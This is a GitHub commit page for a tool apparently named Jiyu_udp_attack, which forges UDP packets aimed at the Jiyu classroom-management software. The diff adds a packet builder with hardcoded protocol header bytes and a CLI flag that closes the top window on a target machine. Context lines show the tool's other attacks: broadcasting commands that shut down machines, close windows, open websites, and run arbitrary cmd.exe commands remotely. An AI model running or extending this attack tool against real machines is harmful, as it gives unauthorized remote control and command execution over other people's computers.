Skip to content

Commit 3c8572e

Browse files
committed
feat: Add pkg_close_top_window function and integrate into main script
1 parent f9aff4a commit 3c8572e

File tree

3 files changed

+35
-1
lines changed

3 files changed

+35
-1
lines changed

Jiyu_udp_attack/__init__.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
try:
66
from Jiyu_udp_attack.sender import send_packet, broadcast_packet
77
from Jiyu_udp_attack.packet import (
8+
pkg_close_top_window,
89
pkg_close_windows,
910
pkg_message,
1011
pkg_shutdown,
@@ -15,6 +16,7 @@
1516
except ImportError:
1617
from sender import send_packet, broadcast_packet
1718
from packet import (
19+
pkg_close_top_window,
1820
pkg_close_windows,
1921
pkg_message,
2022
pkg_shutdown,
@@ -27,6 +29,7 @@
2729
__all__ = [
2830
"send_packet",
2931
"broadcast_packet",
32+
"pkg_close_top_window",
3033
"pkg_close_windows",
3134
"pkg_message",
3235
"pkg_shutdown",

Jiyu_udp_attack/__main__.py

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,15 @@
1515
from typing import Any, Sequence, cast
1616

1717
from sender import broadcast_packet
18-
from packet import pkg_close_windows, pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
18+
from packet import (
19+
pkg_close_top_window,
20+
pkg_close_windows,
21+
pkg_message,
22+
pkg_shutdown,
23+
pkg_rename,
24+
pkg_website,
25+
pkg_execute,
26+
)
1927

2028

2129
class ModeOptionalAction(argparse.Action):
@@ -174,6 +182,12 @@ def format_usage(self) -> str:
174182
metavar=("<timeout>", "<message>"),
175183
help="Close all windows on the target machine",
176184
)
185+
attack_action.add_argument(
186+
"-ctw",
187+
"--close-top-window",
188+
action="store_true",
189+
help="Close the top window on the target machine",
190+
)
177191
attack_action.add_argument(
178192
"-n",
179193
"--rename",
@@ -201,6 +215,8 @@ def format_usage(self) -> str:
201215
payload = pkg_website(args.website)
202216
elif args.command:
203217
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
218+
elif args.close_top_window:
219+
payload = pkg_close_top_window()
204220
elif args.execute:
205221
match args.execute:
206222
case [mode, [program]]:

Jiyu_udp_attack/packet.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -161,6 +161,21 @@ def pkg_close_windows(timeout: Optional[int] = None, message: str = "") -> bytes
161161
return head + data + b"\x00" * 258
162162

163163

164+
def pkg_close_top_window() -> bytes:
165+
"""
166+
Packages a command to close the top window into a specific byte format, including a header.
167+
168+
Returns:
169+
bytes: The packaged command to close the top window as a byte array, including a header.
170+
"""
171+
head = (
172+
b"DMOC\x00\x00\x01\x00n\x03\x00\x00"
173+
+ secrets.token_bytes(16)
174+
+ b" N\x00\x00\xc0\xa8\x01\x9ba\x03\x00\x00a\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00"
175+
)
176+
return head + b"\x00" * 850
177+
178+
164179
def pkg_rename(name: str, name_id: int = 0) -> bytes:
165180
"""
166181
Packages a command to rename a file or directory into a specific byte format, including a header.

0 commit comments

Comments
 (0)